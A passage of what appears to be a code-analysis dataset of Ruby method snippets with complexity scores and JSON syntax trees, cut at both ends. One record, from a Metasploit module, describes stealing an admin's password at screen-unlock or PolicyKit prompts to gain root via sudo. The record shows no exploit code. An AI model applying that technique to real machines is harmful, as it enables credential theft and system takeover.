hildren\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"project_environment_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"ivar\",\"children\":[\"@environment\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@environment\"]},\"errors\"]},\"full_messages\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}]}","id":"8f5a14a5-0479-498d-9d0a-5d2d1c3753de"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/smell_detectors/repeated_conditional.rb","start_line":65,"raw_source":"def max_identical_ifs\n        @max_identical_ifs ||= value(MAX_IDENTICAL_IFS_KEY, context)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"max_identical_ifs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@max_identical_ifs\"]},{\"type\":\"send\",\"children\":[null,\"value\",{\"type\":\"const\",\"children\":[null,\"MAX_IDENTICAL_IFS_KEY\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]}]}]}","id":"3ca7de7e-bd73-4fcb-aac6-f73a1474a0fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_partitioned_table_spec.rb","start_line":144,"raw_source":"def create_source_record(timestamp)\n    source_model.create!(col1: 123, col2: 'original value', created_at: timestamp)\n  end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_source_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timestamp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_model\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"col1\"]},{\"type\":\"int\",\"children\":[123]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"col2\"]},{\"type\":\"str\",\"children\":[\"original value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]}]}]}]}","id":"b1f49ab3-1944-4463-b925-701537ef28ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/mentionable.rb","start_line":164,"raw_source":"def user_mention_class\n    user_mention_association.klass\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_mention_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_mention_association\"]},\"klass\"]}]}","id":"8d5b7d35-a9cd-45b4-a525-9bb952610fdc"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/date_calculator/test_lunar_date.rb","start_line":82,"raw_source":"def test_hung_kings_festival_returns_expected_results\n    assert_equal '2014-04-09', @subject.to_solar(2014,3,10, :vi).to_s\n    assert_equal '2015-04-28', @subject.to_solar(2015,3,10, :vi).to_s\n    assert_equal '2016-04-16', @subject.to_solar(2016,3,10, :vi).to_s\n    assert_equal '2017-04-06', @subject.to_solar(2017,3,10, :vi).to_s\n    assert_equal '2018-03-27', @subject.to_solar(2018,3,10, :vi).to_s\n  end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hung_kings_festival_returns_expected_results\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2014-04-09\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"to_solar\",{\"type\":\"int\",\"children\":[2014]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"sym\",\"children\":[\"vi\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2015-04-28\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"to_solar\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"sym\",\"children\":[\"vi\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2016-04-16\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"to_solar\",{\"type\":\"int\",\"children\":[2016]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"sym\",\"children\":[\"vi\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2017-04-06\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"to_solar\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"sym\",\"children\":[\"vi\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2018-03-27\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"to_solar\",{\"type\":\"int\",\"children\":[2018]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"sym\",\"children\":[\"vi\"]}]},\"to_s\"]}]}]}]}","id":"14faf457-c4cf-413b-af63-0c72d6240ae8"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/pages_controller.rb","start_line":103,"raw_source":"def robots\n    # dynamically-generated static page\n    respond_to :text\n    set_surrogate_key_header \"robots_page\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"robots\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\",{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"set_surrogate_key_header\",{\"type\":\"str\",\"children\":[\"robots_page\"]}]}]}]}","id":"9eaa2b1a-a7c4-4d8c-9f0d-8b83347b17f2"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vim_performance_state.rb","start_line":250,"raw_source":"def capture_parent_host\n    self.parent_host_id = resource.host_id if resource.kind_of?(VmOrTemplate)\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"capture_parent_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"VmOrTemplate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parent_host_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"host_id\"]}]},null]}]}","id":"1da3ca92-65f6-423b-bdc5-3e88736a2237"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":1401,"raw_source":"def test_partial_collection\n    get :partial_collection\n    assert_equal \"Hello: davidHello: mary\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_partial_collection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"partial_collection\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello: davidHello: mary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"8fed1011-4f2b-4f9c-91f0-92694edfedc4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/cookie_store_test.rb","start_line":59,"raw_source":"def raise_data_overflow\n      session[:foo] = \"bye!\" * 1024\n      head :ok\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_data_overflow\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"bye!\"]},\"*\",{\"type\":\"int\",\"children\":[1024]}]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"2e2bcded-2ee3-41d1-9a85-04b3a4377f19"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/user_role.rb","start_line":177,"raw_source":"def in_permissions?(privilege)\n    raise ArgumentError, \"Unknown privilege: #{privilege}\" unless FLAGS.key?(privilege)\n\n    computed_permissions & FLAGS[privilege] == FLAGS[privilege]\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"in_permissions?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"privilege\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FLAGS\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"privilege\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown privilege: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"privilege\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"computed_permissions\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FLAGS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"privilege\"]}]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FLAGS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"privilege\"]}]}]}]}]}","id":"48193f09-2fa7-4a8f-a495-ec4318b475b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/file_uploader.rb","start_line":144,"raw_source":"def to_h\n    {\n      alt: markdown_name,\n      url: secure_url,\n      markdown: markdown_link\n    }\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alt\"]},{\"type\":\"send\",\"children\":[null,\"markdown_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[null,\"secure_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"markdown\"]},{\"type\":\"send\",\"children\":[null,\"markdown_link\"]}]}]}]}","id":"37e6c070-32c7-48de-9d72-9ed2e5280ed8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/desktop_privilege_escalation.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        {\n          'Name' => 'Desktop Linux Password Stealer and Privilege Escalation',\n          'Description' => %q{\n            This module steals the user password of an administrative user on a desktop Linux system\n            when it is entered for unlocking the screen or for doing administrative actions using\n            PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.\n            It exploits the design weakness that there is no trusted channel for transferring the\n            password from the keyboard to the actual password verification against the shadow file\n            (which is running as root since /etc/shadow is only readable to the root user). Both\n            screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under\n            the current user account to query for the password and then pass it to a setuid-root binary\n            to do the password verification. Therefore, it is possible to inject a password stealer\n            after compromising the user account. Since sudo requires only the user password (and not\n            the root password of the system), stealing the user password of an administrative user\n            directly allows escalating to root privileges. Please note, you have to start a handler\n            as a background job before running this exploit since the exploit will only create a shell\n            when the user actually enters the password (which may be hours after launching the exploit).\n            Using exploit/multi/handler with the option ExitOnSession set to false should do the job.\n          },\n          'License' => MSF_LICENSE,\n          'Author' => ['Jakob Lell'],\n          'DisclosureDate' => '2014-08-07',\n          'Platform' => 'linux',\n          'Arch' => [ARCH_X86, ARCH_X64],\n          'SessionTypes' => ['shell', 'meterpreter'],\n          'Targets' => [\n            ['Linux x86', { 'Arch' => ARCH_X86 }],\n            ['Linux x86_64', { 'Arch' => ARCH_X64 }]\n          ],\n          'DefaultOptions' => {\n            'PrependSetresuid' => true,\n            'PrependFork' => true,\n            'DisablePayloadHandler' => true\n          },\n          'DefaultTarget' => 0,\n          'Notes' => {\n            'Reliability' => UNKNOWN_RELIABILITY,\n            'Stability' => UNKNOWN_STABILITY,\n            'SideEffects' => UNKNOWN_SIDE_EFFECTS\n          },\n        }\n      )\n    )\n    register_advanced_options [\n      OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])\n    ]\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Desktop Linux Password Stealer and Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            This module steals the user password of an administrative user on a desktop Linux system\\n\"]},{\"type\":\"str\",\"children\":[\"            when it is entered for unlocking the screen or for doing administrative actions using\\n\"]},{\"type\":\"str\",\"children\":[\"            PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.\\n\"]},{\"type\":\"str\",\"children\":[\"            It exploits the design weakness that there is no trusted channel for transferring the\\n\"]},{\"type\":\"str\",\"children\":[\"            password from the keyboard to the actual password verification against the shadow file\\n\"]},{\"type\":\"str\",\"children\":[\"            (which is running as root since /etc/shadow is only readable to the root user). Both\\n\"]},{\"type\":\"str\",\"children\":[\"            screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under\\n\"]},{\"type\":\"str\",\"children\":[\"            the current user account to query for the password and then pass it to a setuid-root binary\\n\"]},{\"type\":\"str\",\"children\":[\"            to do the password verification. Therefore, it is possible to inject a password stealer\\n\"]},{\"type\":\"str\",\"children\":[\"            after compromising the user account. Since sudo requires only the user password (and not\\n\"]},{\"type\":\"str\",\"children\":[\"            the root password of the system), stealing the user password of an administrative user\\n\"]},{\"type\":\"str\",\"children\":[\"            directly allows escalating to root privileges. Please note, you have to start a handler\\n\"]},{\"type\":\"str\",\"children\":[\"            as a background job before running this exploit since the exploit will only create a shell\\n\"]},{\"type\":\"str\",\"children\":[\"            when the user actually enters the password (which may be hours after launching the exploit).\\n\"]},{\"type\":\"str\",\"children\":[\"            Using exploit/multi/handler with the option ExitOnSession set to false should do the job.\\n\"]},{\"type\":\"str\",\"children\":[\"          \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jakob Lell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-08-07\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux x86\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux x86_64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PrependSetresuid\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PrependFork\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WritableDir\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A directory for storing temporary files on the target system\"]},{\"type\":\"str\",\"children\":[\"/tmp\"]}]}]}]}]}]}]}","id":"8e7080cd-2f84-4a9a-884a-c7417d5b0fa7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/user_guardian.rb","start_line":123,"raw_source":"def can_disable_second_factor?(user)\n    user && can_administer_user?(user)\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"can_disable_second_factor?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"can_administer_user?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"824b2bb2-ba85-408d-8610-8af3b4500076"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/configuration.rb","start_line":151,"raw_source":"def expose_dsl_globally=(value)\n        if value\n          Core::DSL.expose_globally!\n          Core::SharedExampleGroup::TopLevelDSL.expose_globally!\n        else\n          Core::DSL.remove_globally!\n          Core::SharedExampleGroup::TopLevelDSL.remove_globally!\n        end\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expose_dsl_globally=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Core\"]},\"DSL\"]},\"expose_globally!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Core\"]},\"SharedExampleGroup\"]},\"TopLevelDSL\"]},\"expose_globally!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Core\"]},\"DSL\"]},\"remove_globally!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Core\"]},\"SharedExampleGroup\"]},\"TopLevelDSL\"]},\"remove_globally!\"]}]}]}]}","id":"fe71e390-0e74-4868-9218-c18ad1c06e4c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/issue_links_controller.rb","start_line":40,"raw_source":"def create_service\n      IssueLinks::CreateService.new(issue, current_user, create_params)\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssueLinks\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"issue\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"create_params\"]}]}]}","id":"4e89909e-0d47-4590-be97-69ae5168bc2f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/frozen_string_literal_comment.rb","start_line":137,"raw_source":"def last_special_comment(processed_source)\n          token_number = 0\n          if processed_source.tokens[token_number].text.start_with?(SHEBANG)\n            token = processed_source.tokens[token_number]\n            token_number += 1\n          end\n\n          next_token = processed_source.tokens[token_number]\n          if next_token&.text&.valid_encoding? && Encoding::ENCODING_PATTERN.match?(next_token.text)\n            token = next_token\n          end\n\n          token\n        end","complexity_score":24.95,"ast_json":"{\"type\":\"def\",\"children\":[\"last_special_comment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"processed_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token_number\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"tokens\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"token_number\"]}]},\"text\"]},\"start_with?\",{\"type\":\"const\",\"children\":[null,\"SHEBANG\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"tokens\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"token_number\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token_number\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"next_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"tokens\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"token_number\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_token\"]},\"text\"]},\"valid_encoding?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"ENCODING_PATTERN\"]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_token\"]},\"text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"lvar\",\"children\":[\"next_token\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}","id":"9075ac31-c118-455d-a3db-da8ef1f7c453"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/partition.rb","start_line":85,"raw_source":"def with_ci_connection(&block)\n      Gitlab::Database::SharedModel.using_connection(connection, &block)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_ci_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"SharedModel\"]},\"using_connection\",{\"type\":\"send\",\"children\":[null,\"connection\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"40218ee7-775e-4eed-8225-71b6d7099db8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/kubernetes.rb","start_line":281,"raw_source":"def delete_deployment(deployment)\n    current_deployments.delete(deployment.metadata.name)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_deployment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"deployment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_deployments\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deployment\"]},\"metadata\"]},\"name\"]}]}]}","id":"f7b093f3-f37f-4e76-970c-d0f5ac164617"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/pager_duty/webhook_payload_parser.rb","start_line":32,"raw_source":"def parse_incident(incident)\n      return {} unless incident\n\n      {\n        'url' => incident['html_url'],\n        'incident_number' => incident['number'],\n        'title' => incident['title'],\n        'status' => incident['status'],\n        'created_at' => incident['created_at'],\n        'urgency' => incident['urgency'],\n        'incident_key' => incident['incident_key'],\n        'assignees' => reject_empty(parse_assignees(incident)),\n        'impacted_service' => parse_impacted_service(incident)\n      }\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_incident\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"incident\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incident\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incident\"]},\"[]\",{\"type\":\"str\",\"children\":[\"html_url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"incident_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incident\"]},\"[]\",{\"type\":\"str\",\"children\":[\"number\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incident\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incident\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incident\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"urgency\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incident\"]},\"[]\",{\"type\":\"str\",\"children\":[\"urgency\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"incident_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"incident\"]},\"[]\",{\"type\":\"str\",\"children\":[\